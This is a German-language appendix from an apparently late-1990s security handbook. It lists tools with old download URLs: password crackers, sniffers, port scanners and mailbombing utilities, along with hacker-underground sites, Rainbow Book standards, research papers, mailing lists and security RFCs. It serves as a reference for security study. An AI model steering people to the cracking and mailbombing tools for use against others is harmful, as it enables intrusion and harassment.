Einige dieser Tools wurden von Mitgliedern der legitimen Sicherheitsgemeinde geschrieben. Andere
stammen von Amateur-Hackern und -Crackern.
Windows
Cetus StormWindows: http://www.cetussoft.com/
ConfigSafe 95: http://www.toolsthatwork.com/csafe95.htm
DECROS Security Card: http://www.decros.cz/
Desktop Surveillance 97: http://www.omniquad.com/
FutureLock: http://www.nerdsunlimited.com/
HD95Protect: http://www.geocities.com/SiliconValley/Lakes/8753/
Secure4U: http://www.acrmain.com/index.html
StopLock 95: http://www.pcsl.com/
Windows Task-Lock: http://posum.com/
Windows NT
Administrator Assistant Tool Kit: http://www.ntsecurity.com/
FileAdmin: http://www.ntsecurity.com/
Kane Security Analyst: http://www.intrusion.com/
NetXRay Analyzer: http://www.cinco.com/
NT Crack: http://www.secnet.com/
NT Locksmith: http://www.winternals.com/
NTFSDOS: http://www.winternals.com/
NTHandle: http://www.ntinternals.com/
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NTRecover: http://www.winternals.com/
NTUndelete: http://www.winternals.com/
PC Firewall: http://www.nai.com/
PWDUMP: ftp://samba.anu.edu.au/pub/samba/pwdump/pwdump.c
RedButton: http://www.ntsecurity.com/
RegAdmin: http://www.ntsecurity.com/
ScanNT Plus: http://www.ntsecurity.com/
Somarsoft DumpAcl: http://www.somarsoft.com/
DumpEvt: http://www.somarsoft.com/
DumpReg: http://www.somarsoft.com/
Somarsoft RegEdit: http://www.somarsoft.com/
Virtuosity: http://www.ntsecurity.com/
Sicherheits-Tools für den Macintosh
EtherPeek: http://www.aggroup.com/
InterMapper: http://www.dartmouth.edu/netsoftware/intermapper/
Netlock: http://www.interlink.com/
MacRadius: http://www.cyno.com/
Network Security Guard: http://www.mrmac.com/
Network Scout: http://www.mrmac.com/
Timbuktu Pro: http://www.netopia.com/
Empower: http://www.magna1.com/
KeysOff: http://www.blueglobe.com/~cliffmcc/MacSoftware.html
Password Key: http://www.cp3.com/
Secure-It Locks: http://secure-it.com/
Paßwortknacker
Crack: Knackt Unix-Paßwörter auf der Unix-Plattform.
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ftp://ftp.cert.org/pub/tools/crack/crack5.0.tar.gz
Crack-Dokumentation:
http://www.parkline.ru/Library/html-KOI/SECURITY/crackfaq.txt
CrackerJack: Knackt Unix-Paßwörter auf der Microsoft-Plattform.
http://www.fc.net/phrack/under/misc.html
Qcrack: Knackt Unix-Paßwörter auf DOS, Linux und Windows.
http://tms.netrom.com/~cassidy/crack.htm
John the Ripper: Knackt Unix-Paßwörter auf der DOS- und Linux-Plattform.
http://tms.netrom.com/~cassidy/crack.htm
Pcrack (PerlCrack): Knackt Unix-Paßwörter auf der Unix-Plattform.
http://tms.netrom.com/~cassidy/crack.htm
Hades: Dieser Unix-Paßwortknacker ist überall verfügbar. Suchen Sie nach hades.zip.
Star Cracker: Dieses Utility ist für die DOS4GW-Umgebung. Es knackt Unix-Paßwörter.
http://www.madness.org/pass/starcrak.zip
Killer Cracker: Knackt Unix-Paßwörter auf der Unix-Plattform.
http://www.jabukie.com/Password_Crackerz/djkc95.zip
Hellfire Cracker: Knackt Unix-Paßwörter auf der DOS-Plattform.
http://www.jabukie.com/Password_Crackerz/hc130.zip
XIT: Knackt Unix-Paßwörter auf der DOS-Plattform.
http://www.jabukie.com/Password_Crackerz/xit20.zip
Claymore: Ein allgemeiner Paßwortknacker für Windows.
http://www.jabukie.com/Password_Crackerz/claymore.zip
Guess: Knackt Unix-Paßwörter auf der DOS-Plattform. Dieses Utility ist überall verfügbar. Versuchen
Sie den Suchausdruck guess.zip.
PC UNIX Password Cracker: Der Name dieses Utilities sagt alles. Dieses Tool ist schwer zu finden; ich
kenne keine verläßliche Quelle, aber Sie könnten es mit dem Namen als Suchausdruck versuchen.
ZipCrack: Knackt Paßwörter von Zip-Archiven. Suchen Sie nach zipcrk10.zip.
Password NT: Knackt NT-Paßwörter.
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http://www.ntsecurity.com/Services/Recovery/index.html
Sniffer
Gobbler: Spioniert die DOS-Umgebung aus. Ein gutes Tool zum Ausspionieren von Novell-
NetWare-Netzwerken.
http://www.computercraft.com/noprogs/gobbler.zip
ETHLOAD: Spioniert Ethernet- und Token-Ring-Netzwerke aus.
http://www.ping.be/ethload/
Netman: Tolles Sniffer-Paket zur Verwendung auf Unix und Windows 95.
http://www.ndg.com.au/
Esniff.c: Sniffer zur Verwendung auf Unix-Systemen (besonders SunOS und Solaris).
http://www.asmodeus.com/archive/IP_toolz/ESNIFF.C
Sunsniff: Dieses Utility ist ein guter Sniffer für SunOS.
http://www.7thsphere.com/hpvac/files/hacking/sunsniff.c
linux_sniffer.c: Läuft auf der Linux-Plattform.
http://www.hacked-inhabitants.com/warez/
Scanner und verwandte Utilities
NSS: Network Security Scanner. Geschrieben in Perl, läuft auf Unix.
http://www.giga.or.at/pub/hacker/unix/
Strobe: Läuft auf Unix.
http://www.asmodeus.com/archive/IP_toolz/strobe/strobe.c
SATAN: Läuft auf Unix; Sie müssen Perl haben.
http://www.fish.com/
Jakal: Läuft auf Unix. Scannt hinter Firewalls.
http://www.giga.or.at/pub/hacker/unix/
IdentTCPscan: Läuft auf Unix; identifiziert die UID aller laufenden Prozesse.
http://www.giga.or.at/pub/hacker/unix/
CONNECT: Suchen Sie nach einem verwundbaren TFTP-Server? Probieren Sie dieses Utility aus. Es
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läuft auf Unix.
http://www.giga.or.at/pub/hacker/unix/
FSPScan: Dieses Unix-Utility identifiziert verwundbare FSP-Server.
http://www.giga.or.at/pub/hacker/unix/
XSCAN: Lokalisiert verwundbare X-Server.
http://www.giga.or.at/pub/hacker/unix/
NetScan Tools: Win-95-Portierung vieler Unix-Snooping-Utilities.
http://www.eskimo.com/~nwps/index.html
Network Toolbox: Läuft auf Windows 95. Enthält viele Unix-Snooping-Utilities und einen Port-Scanner.
http://www.jriver.com/netbox.html
TCP/IP Surveyor: Microsoft-Plattform.
http://www.winsite.com/info/pc/win95/netutil/wssrv32n.zip/
MacTCP Watcher: TCP/IP-Analyse-Tool für die Macintosh-Plattform.
http://www.share.com/share/peterlewis/mtcpw/
Query It!: Nslookup-Utility für Macintosh.
http://www.cyberatl.net/~mphillip/index.html#Query It!
WhatRoute: Portierung des populären Unix-Utilities Traceroute für den Macintosh.
http://homepages.ihug.co.nz/~bryanc/
Mailbombing-Utilities
The UpYours Mail Bombing Program: Suchen Sie nach upyours3.zip, um dieses Mailbombing-Utility zu
finden.
Kaboom: Ein Mailbombing-Utility. Suchen Sie nach kaboom3.exe.
Avalanche: Ein Mailbombing-Utility für Windows. Suchen Sie nach avalanche20.zip.
The UnaBomber: Ebenfalls ein Mailbombing-Utility für die Windows-Plattform. Suchen Sie nach
unabomb.exe.
eXtreme Mail: Ein Mailbombing-Utility für Windows. Suchen Sie nach xmailb1.exe.
Homicide: Ein Mailbombing-Utility für Windows. Suchen Sie nach homicide.exe.
The UNIX MailBomb: Dieses Mailbombing-Utility von CyBerGoAT funktioniert auf allen
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Unix-Plattformen. Suchen Sie nach MailBomb by CyBerGoAT.
Bombtrack: Ein Mailbombing-Utility für Macintosh.
FlameThrower: Ein Mailbombing-Utility für Macintosh.
Finger-Clients
WSFinger (Windows)
http://www.internexus.net/pub/tools/win/wsfngr14.zip
FFEU (OS/2)
http://hobbes.nmsu.edu/pub/os2/apps/internet/misc/ffeu101.zip
B.1.3 Technische Berichte, Regierungsstandards und Dokumente
Rainbow Books und verwandte Dokumentationen
In den Rainbow Books hat die US-Regierung ihre Kriterien für die Verwendung und Zertifizierung von
vertrauenswürdigen Systemen festgelegt.
DoD Trusted Computer System Evaluation Criteria. Dezember 1985 (Orange Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html
DoD Password Management Guideline. April 1985 (Green Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/CSC-STD-002-85.html
Computer Security Requirements: Guidance for Applying the DoD TCSEC in Specific Environments.
Juni 1985 (Light Yellow Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/CSC-STD-003-85.html
Technical Rational Behind CSC-STD-003-85: Computer Security Requirements - Guidance for Applying
the DoD TCSEC in Specific Environments. Juni 1985 (Yellow Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/CSC-STD-004-85.html
A Guide to Understanding Audit in Trusted Systems. Juni 1988 (Tan Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-001-2.html
Trusted Product Evaluations: A Guide for Vendors. Juni 1990 (Bright Blue Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-002.html
A Guide to Understanding Discretionary Access Control in Trusted Systems. September 1987 (Neon
Orange Book).
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http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-003.html
Glossary of Computer Security Terms. 21. Oktober 1988 (Teal Green Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-004.txtf
Trusted Network Interpretation of the TCSEC. Juli 1987 (Red Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-005.html
A Guide to Understanding Configuration Management in Trusted Systems. März 1988 (Amber Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-006.html
A Guide to Understanding Design Documentation in Trusted Systems. Oktober 1988 (Burgundy Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-007.html
A Guide to Understanding Trusted Distribution in Trusted Systems. Dezember 1988 (Dark Lavender
Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-008.html
A Guide to Understanding Security Modeling in Trusted Systems. Oktober 1992 (Aqua Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-010.txt
RAMP Program Document. März 1995, Version 2 (Pink Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-013.2.html
Guidelines for Formal Verification Systems. April 1989 (Purple Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-014.html
A Guide to Understanding Trusted Facility Management. Oktober 1989 (Brown Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-015.html
Guidelines for Writing Trusted Facility Manuals. Oktober 1992 (Yellow-Green Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-016.html
A Guide to Understanding Identification and Authentication in Trusted Systems. September 1991 (Light
Blue Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-017.html
A Guide to Understanding Object Reuse in Trusted Systems. Juli 1992 (Light Blue Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-018.html
Trusted Product Evaluation Questionaire. Mai 1992, Version 2 (Blue Book).
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http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-019.2.html
Trusted UNIX Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the
UNIX System. Juli 1989 (Silver Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-020-A.html
Trusted Database Management System Interpretation of the TCSEC. April 1991 (Purple Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-021.html
A Guide to Understanding Information System Security Officer Responsibilities for Automated
Information Systems. Mai 1992 (Turquoise Book).
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-027.txt
Ausgewählte Publikationen vom NCSC
Computer Viruses: Prevention, Detection, and Treatment. März 1990.
http://www.radium.ncsc.mil/tpep/library/rainbow/C1-TR-001.html
Integrity in Automated Information Systems. September 1991.
http://www.radium.ncsc.mil/tpep/library/rainbow/C-TR-79-91.txt
The Design and Evaluation of INFOSEC systems: The Computer Security Contribution to the
Composition Discussion. Juni 1992.
http://www.radium.ncsc.mil/tpep/library/rainbow/C-TR-32-92.html
Turning Multiple Evaluated Products Into Trusted Systems.
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TR-003.pdf
Auditing Issues In Secure Database Management Systems.
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TR-005-4.pdf
Discretionary Access Control Issues In High Assurance Secure Database Management Systems.
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TR-005-5.pdf
Andere Sicherheitsdokumente und Advisories der US-Regierung
DDN Security Bulletin Index. (The Defense Data Network.)
http://nic.ddn.mil/LIBRARY/sec-idx.html
Australian Computer Emergency Response Team.
http://www.auscert.org.au/Information/advisories.html
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»A Basis for Secure Communication in Large Distributed Systems.« David P. Anderson und P. Venkat
Rangan. UCB//CSD-87-328, Januar 1987.
ftp://tr-ftp.cs.berkeley.edu/pub/tech-reports/csd/csd-87-328/
»A Cryptographic File System for UNIX.« Matt Blaze. 1st ACM Conference on Computer and
Communications Security. S. 9-16. ACM Press. November 1993.
»A Network Perimeter With Secure External Access.« Frederick M. Avolio und Marcus J. Ranum. Ein
außergewöhnliches Dokument, das die Implementierung einer Firewall (angeblich) im Weißen Haus
detailliert beschreibt. Trusted Information Systems, Incorporated. Glenwood, MD. 25. Januar 1994.
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»A Prototype B3 Trusted X Window System.« J. Epstein, J. Mc Hugh, R. Pascale, H. Orman, G. Benson,
C.Martin, A. Marmor-Squires, B. Danner und M. Branstad. The proceedings of the 7th Computer
Security Applications Conference, Dezember 1991.
»A Security Architecture for Fault-Tolerant Systems.« Michael K. Reiter, Kenneth P. Birman und
Robbert Van Renesse. TR93-1354. Juni 1993.
http://cs-tr.cs.cornell.edu:80/Dienst/Repository/2.0/Body/ncstrl.cornell%2fTR93- 1354/ocr/
»Augmented Encrypted Key Exchange: A Password-Based Protocol Secure Against Dictionary Attacks
and Password File Compromise.« 1st ACM Conference on Computer and Communications Security, S.
244-250. ACM Press. November 1993.
»Benchmarking Methodology for Network Interconnect Devices.« RFC 1944. S. Bradner und J.
McQuaid.
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»Charon: Kerberos Extensions for Authentication over Secondary Networks.« Derek A. Atkins. 1993.
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Firewall-Produkten.
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»Evolution of a Trusted B3 Window System Prototype.« J. Epstein, J. Mc Hugh, R. Psacle, C. Martin, D.
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beginnt. Es behandelt weiterhin Anwendungs-Proxies, Sendmail in bezug auf Firewalls und die
Eigenschaften eines Bastion Hosts. Livingston Enterprises, Inc.
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»Plan 9 from Bell Labs.« Rob Pike, Dave Presotto und Phil Winterbottom. Computing Systems Journal.
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Einbruchserkennung (Intrusion Detection)
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Alfonso Valdes. SRI-CSL-95-06, Mai 1995. Nur in gedruckter Form erhältlich. Eine Zusammenfassung
finden Sie hier:
http://www.csl.sri.com/tr-abstracts.html#csl9506
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http://www.cs.columbia.edu/~sal/hpapers/acmpaper.ps.gz
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Cheung, R. Crawford, M. Dilger, J. Frank, J. Hoagland, K. Levitt, C. Wee, R. Yip und D. Zerkle. The
19th National Information Systems Security Conference.
http://seclab.cs.ucdavis.edu/papers/nissc96.ps
»Holding Intruders Accountable on the Internet.« S. Staniford-Chen und L.T. Heberlein. Proc. of the
1995 IEEE Symposium on Security and Privacy, Oakland, CA, 8.-10. Mai 1995.
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»Intrusion Detection Systems (IDS): A Survey of Existing Systems and A Proposed Distributed IDS
Architecture.« S. R. Snapp, J. Brentano, G. V. Dias, T. L. Goan, T. Grance, L. T. Heberlein, C. Ho, K. N.
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Computer Science, University of California, Davis. Februar 1991.
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National Computer Security Conference. Oktober 1994.
»NetKuang - A Multi-Host Configuration Vulnerability Checker.« D. Zerkle und K. Levitt. Proc. of the
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»Network Intrusion Detection.« Biswanath Mukherjee, L. Todd Heberlein und Karl N. Levitt. IEEE
Network, Mai 1994.
http://seclab.cs.ucdavis.edu/papers/bd96.ps
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»Simulating Concurrent Intrusions for Testing Intrusion Detection Systems: Parallelizing Intrusions.« M.
Chung, N. Puketza, R. A. Olsson und B. Mukherjee. Proc. of the 1995 National Information Systems
Security Conference. Baltimore, Maryland. 1995.
http://seclab.cs.ucdavis.edu/papers/cpo95.ps
B.1.4 Mailing-Listen
Intrusion Detection Systems. Diese Mailing-Liste befaßt sich hauptsächlich mit der Diskussion von
Methoden des Eindringens in Netzwerke und der Einbruchserkennung.
Adresse: majordomo@uow.edu.au
Befehl: subscribe ids (im Text der Nachricht)
The WWW Security List. Die Teilnehmer dieser Liste diskutieren über alle Aspekte der Wahrung (oder
Verletzung) der WWW-Sicherheit (z.B. Sicherungsmethoden für HTML, HTTP und CGI).
Adresse: www-security-request@nsmx.rutgers.edu
Befehl: SUBSCRIBE www-security Ihre_E-Mail_Adresse (im Text der Nachricht)
The Sneakers List. Diese Liste diskutiert Methoden zum Umgehen von Firewalls und allgemeinen
Sicherheitsvorkehrungen. Sie befaßt sich nur mit legalen Tests und Techniken.
Adresse: majordomo@CS.YALE.EDU
Befehl: SUBSCRIBE Sneakers (im Text der Nachricht)
The Secure HTTP List. Diese Liste widmet sich der Diskussion von S-HTTP und Techniken zur
Förderung dieser neuen Form der Absicherung von Transaktionen im WWW.
Adresse: shttp-talk-request@OpenMarket.com
Befehl: SUBSCRIBE (im Text der Nachricht)
The NT Security List. Diese Liste beschäftigt sich hauptsächlich mit allen Sicherheitsthemen in bezug
auf Microsoft Windows NT. Manchmal werden auch Sicherheitsaspekte anderer
Microsoft-Betriebssysteme diskutiert.
Adresse: request-ntsecurity@iss.net
Befehl: subscribe ntsecurity (im Text der Nachricht)
The Bugtraq List. Diese Liste dient dem Posten oder Diskutieren von Bugs verschiedener
Betriebssysteme, obwohl Unix am häufigsten vorkommt. Wenn Sie mehr über die Feinheiten (und immer
die neuesten Neuigkeiten) der Unix-Sicherheit erfahren wollen, ist dies die richtige Liste für Sie).
Adresse: LISTSERV@NETSPACE.ORG
Befehl: SUBSCRIBE BUGTRAQ (im Text der Nachricht)
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B.2 Untergrund-Informationsquellen
Phrack Magazine: Ein E-Zine für Hacker, das seit vielen Jahren existiert. Es beinhaltet eine Menge
hochtechnischer Informationen und einen Bereich, die sogenannten »Phrack World News«, in dem über
Aktivitäten von Hackern und Crackern in den letzten Monaten berichtet wird.
http://www.phrack.com/
LHI Technologies (L0pht Heavy Industries): Diese Gruppe besteht aus einigen der talentiertesten
Untergrund-Hackern. Die Archive auf dieser Site enthalten seltene Dokumente und Berichte, von denen
einige von den Inhabern der Site verfaßt wurden.
http://l0pht.com/
The Infonexus: Auf dieser Site befinden sich die meisten der Tools, die jemals für Unix, Windows NT,
Novell und DOS geschrieben worden sind. Sie beinhaltet auch einige interessante Dateien, die Sie
nirgendwo sonst finden. Der Inhaber der Site ist eine Person namens Route; er ist Autor eines der
neuesten DoS-Tools, des syn_flooder.
http://www.infonexus.com/~daemon9/
The alt.2600/#hack F.A.Q.: Der FAQ für die populäre Usenet-Newsgruppe alt.2600. Sie können hier
einige interessante Informationen finden, vom Wardialer bis hin zu Tips, wie Sie nach einem Einbruch
Ihre Spuren verwischen.
http://www-personal.engin.umich.edu/~jgotts/hack-faq/hack-faq-cp.html
The Hacks and Cracks Page: Dateien, Dateien und noch mehr Dateien. Viele Dateien für
unterschiedliche Plattformen, unter anderem DOS, Windows und Macintosh.
http://home.earthlink.net/~mumbv/index.html
H/P/A Links and Bullshit: Eine ziemlich anarchistische, aber auf gewisse Weise dennoch informative
Seite mit sehr vielen Links.
http://www.paranoia.com/hpa/
EFF »Hacking, Cracking, Phreaking« Archive: Das Archiv der Electronic Frontier Foundation , einer
gemeinnützigen Organisation, die für die Bürgerrechte im Cyberspace eintritt.
http://www.eff.org/pub/Privacy/Security/Hacking_cracking_phreaking/
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D
RFCs zu Sicherheitsthemen
RFC 912. Authentication Service. M. St. Johns. September 1984. (Behandelt die automatische
Authentifizierung von Benutzern, z.B. bei einer FTP-Sitzung.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc912.txt
RFC 931. Authentication Server. M. St. Johns. Januar 1985. (Behandelt ebenfalls die automatische
Authentifizierung von Benutzern.) URL: http://info.internet.isi.edu:80/in- notes/rfc/files/rfc931.txt
RFC 989. Privacy Enhancement for Internet Electronic Mail. J. Linn. Februar 1987. (Behandelt
Verschlüsselungs- und Authentifizierungsmethoden für E-Mail.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc989.txt
RFC 1004. A Distributed-Protocol Authentication Scheme. D. L. Mills. April 1987. (Behandelt
Methoden der Zugriffskontrolle und Authentifizierung in verteilten Umgebungen und Diensten.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1004.txt
RFC 1038. Draft Revised IP Security Option. M. St. Johns. Januar 1988. (Behandelt den Schutz von
Datagrammen und die Klassifizierungen eines solchen Schutzes). URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1038.txt
RFC 1040. Privacy Enhancement for Internet Electronic Mail: Part I: Message Encipherment and
Authentication Procedures. J. Linn. Januar 1988. (Löst RFC 989 ab.) URL: http:/
/info.internet.isi.edu:80/in-notes/rfc/files/rfc1040.txt
RFC 1108. Security Options for the Internet Protocol. S. Kent. November 1991. (Behandelt erweiterte
Sicherheitsoptionen für das Internet Protocol und DoD-Richtlinien). URL: http:/
/info.internet.isi.edu:80/in-notes/rfc/files/rfc1108.txt
RFC 1113. Privacy Enhancement for Internet Electronic Mail: Part I: Message Encipherment and
Authentication Procedures. J. Linn. August 1989. (Löst RFC 1040 ab.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1113.txt
RFC 1114. Privacy Enhancement for Internet Electronic Mail: Part II: Certificate-Based Key
Management. S.T. Kent und J. Linn. August 1989. (Definiert Mechanismen zum verbesserten Schutz von
E-Mail.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1114.txt
RFC 1115. Privacy Enhancement for Internet Electronic Mail: Part III - Algorithms, Modes, and
RFCs zu Sicherheitsthemen
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Identifiers. J. Linn. August 1989. (Technischer Support und Informationen zu den RFCs 1113 und 1114.)
URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1115.txt
RFC 1135. The Helminthiasis of the Internet. J. Reynolds. Dezember 1989. (Berühmtes RFC, das den
Internet-Wurm-Vorfall im November 1988 beschreibt.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1135.txt
RFC 1186. The MD4 Message Digest Algorithm. R. Rivest. Oktober 1990. (Die Spezifikation von
MD4.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1186.txt
RFC 1170. Public Key Standards and Licenses. R. Fougner. Januar 1991. (Bekanntgabe der
Patentanmeldung für Public Key Partners Unterlizenz für digitale Signaturen.) URL: http:/
/info.internet.isi.edu:80/in-notes/rfc/files/rfc1170.txt
RFC 1244. The Site Security Handbook. P. Holbrook und J. Reynolds. Juli 1991. (Berühmtes RFC, das
Sicherheitspraktiken und -verfahren darlegt. Dieses RFC war lange Zeit das maßgebliche Dokument. Es
ist immer noch ziemlich gut und hat sogar heute noch Gültigkeit.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1244.txt
RFC 1272. Internet Accounting. C. Mills, D. Hirsh und G. Ruth. November 1991. (Spezifiziert ein
System für die Abrechnung von Netzwerknutzung, Datentransfer usw.). URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1272.txt
RFC 1281. Guidelines for the Secure Operation of the Internet. R. D. Pethia, S. Crocker und B. Y.
Fraser. November 1991. (Gefeiertes Dokument, das Richtlinien für die Sicherheit aufstellt.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1281.txt
RFC 1319. The MD2 Message-Digest Algorithm. B. Kaliski. April 1992. (Beschreibung von MD2 und
seiner Funktionsweise.) URL: http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc1319.txt
RFC 1320. The MD4 Message-Digest Algorithm. R. Rivest. April 1992. (Beschreibung von MD4 und
seiner Funktionsweise.) URL: http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc1320.txt
RFC 1321. The MD5 Message-Digest Algorithm. R. Rivest. April 1992. (Beschreibung von MD5 und
seiner Funktionsweise.) URL: http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc1321.txt
RFC 1334. PPP Authentication Protocols. B. Lloyd und W. Simpson. Oktober 1992. (Definiert das
Password Authentication Protocol und das Challenge-Handshake Authentication Protocol in PPP.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1334.txt
RFC 1352. SNMP Security Protocols. J. Galvin, K. McCloghrie und J. Davin. Juli 1992.
(Sicherheitsmechanismen des Simple Network Management Protocol.) URL: http://
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RFC 1355. Privacy and Accuracy Issues in Network Information Center Databases. J. Curran und A.
Marine. August 1992. (Richtlinien für den Betrieb und die Verwaltung eines Network Information
Center.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1355.txt
RFCs zu Sicherheitsthemen
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RFC 1409. Telnet Authentication Option. D. Borman. Januar 1993. (Experimentelles Protokoll für eine
Telnet-Authentifizierung.) URL: http://info.internet.isi.edu:80/in-notes/ rfc/files/rfc1409.txt
RFC 1411. Telnet Authentication: Kerberos Version 4. D. Borman. Januar 1993. (Einbindung der
Kerberos-Authentifizierung in Telnet.) URL: http://info.internet.isi.edu:80/ in-notes/rfc/files/rfc1411.txt
RFC 1412. Telnet Authentication: SPX. K. Alagappan. Januar 1993. (Experimentelles Protokoll für eine
Telnet-Authentifizierung.) URL: http://info.internet.isi.edu:80/in- notes/rfc/files/rfc1412.txt
RFC 1413. Identification Protocol. M. St. Johns. Februar 1993. (Einführung und Erklärung des
IDENT-Protokolls.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1413.txt
RFC 1414. Identification MIB. M. St. Johns und M. Rose. Februar 1993. (Spezifiziert MIB zur
Identifizierung von Eigentümern von TCP-Verbindungen.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1414.txt
RFC 1416. Telnet Authentication Option. D. Borman. Februar 1993. (Löst RFC 1409 ab.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1416.txt
RFC 1421. Privacy Enhancement for Internet Electronic Mail: Part I: Message Encryption and
Authentication Procedures. J. Linn. Februar 1993. (Aktualisiert und ersetzt RFC 1113.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1421.txt
RFC 1422. Privacy Enhancement for Internet Electronic Mail: Part II: Certificate-Based Key
Management. S. T. Kent und J. Linn. Februar 1993. (Aktualisiert und ersetzt RFC 1114.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1422.txt
RFC 1438. Internet Engineering Task Force Statements Of Boredom (SOBs). Chapin und Huitema. April
1993. (Dieses RFC hat eigentlich nichts mit Sicherheit zu tun, aber es ist so ein Klassiker, daß ich es
einfach erwähnen muß. Es ist das amüsanteste RFC, das je geschrieben wurde.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1438.txt
RFC 1446. Security Protocols for Version 2 of the Simple Network Management Protocol. J. Galvin und
K. McCloghrie. April 1993. (Spezifiziert Sicherheitsprotokolle für SNMPv2.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1446.txt
RFC 1455. Physical Link Security Type of Service. D. Eastlake. Mai 1993. (Experimentelles Protokoll
zur Sicherung physikalischer Verbindungen.) URL:
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RFC 1457. Security Label Framework for the Internet. R. Housley. Mai 1993. (Label-Richtlinie für
Netzwerkingenieure.) URL: http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc1457.txt
RFC 1472. The Definitions of Managed Objects for the Security Protocols of the Point-to- Point
Protocol. F. Kastenholz. Juni 1993. (Sicherheitsprotokolle an Teilnetz-Schnittstellen, die PPP
verwenden.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1472.txt
RFC 1492. An Access Control Protocol, Sometimes Called TACACS. C. Finseth. Juli 1993.
(Dokumentiert die Verwendung des TACACS-Protokolls durch Cisco-Systems-Terminalserver.) URL:
RFCs zu Sicherheitsthemen
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RFC 1507. DASS - Distributed Authentication Security Service. C. Kaufman. September 1993.
(Behandelt neu vorgeschlagene Authentifizierungsmethoden in verteilten Umgebungen.) URL:
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RFC 1508. Generic Security Service Application Program Interface. J. Linn. September 1993.
(Spezifiziert eine generelle Sicherheitsrahmenrichtlinie für die Portierung von Anwendungen nach
unterschiedlichen Umgebungen.) URL: http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1508.txt
RFC 1510. The Kerberos Network Authentication Service (V5). J. Kohl und C. Neumann. September
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optionalen Header-Felds, Content-MD5, bei MIME-Nachrichten.) URL:
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RFC 1675. Security Concerns for IPNG. S. Bellovin. August 1994. (Bellovin schildert seine Bedenken
hinsichtlich des Fehlens eines direkten Zugriffs auf Quelladressen in IPNG.) URL:
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RFC 1704. On Internet Authentication. N. Haller und R. Atkinson. Oktober 1994. (Behandelt einen
großen Bereich von Internet-Authentifizierungsverfahren.) URL: http://
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RFC 1731. IMAP4 Authentication Mechanisms. J. Myers. Dezember 1994. (Authentifizierung mit dem
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Werte für die Erzeugung von Schlüsseln.) URL:
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1750.txt
RFC 1751. A Convention for Human-Readable 128-Bit Keys. D. McDonald. Dezember 1994.
(Vorgeschlagene Lösungen für die Verwendung von 128-Bit-Schlüsseln, die aufgrund ihrer Länge
schwer zu merken sind.) URL: http://info.internet.isi.edu:80/in-notes/ rfc/files/rfc1751.txt
RFC 1760. The S/KEY One-Time Password System. N. Haller. Februar 1995. (Beschreibt das
S/Key-Einmalpaßwort-System von Bellcore.) URL: http://info.internet.isi.edu:80/
in-notes/rfc/files/rfc1760.txt
RFC 1810. Report on MD5 Performance. J. Touch. Juni 1995. (Behandelt die Mängel von MD5 im
RFCs zu Sicherheitsthemen
file:///d|/cool stuff/old/hack/kap_d.htm (4 von 7) [19.04.2000 21:16:05]
Hinblick auf Transferraten in Hochgeschwindigkeitsnetzwerken.) URL: http://
info.internet.isi.edu:80/in-notes/rfc/files/rfc1810.txt
RFC 1824. The Exponential Security System TESS: An Identity-Based Cryptographic Protocol for
Authenticated Key-Exchange. H. Danisch. August 1995. (Behandlung eines vorgeschlagenen Protokolls
für Schlüsselaustausch, Authentifizierung und Erzeugung von Signaturen.) URL:
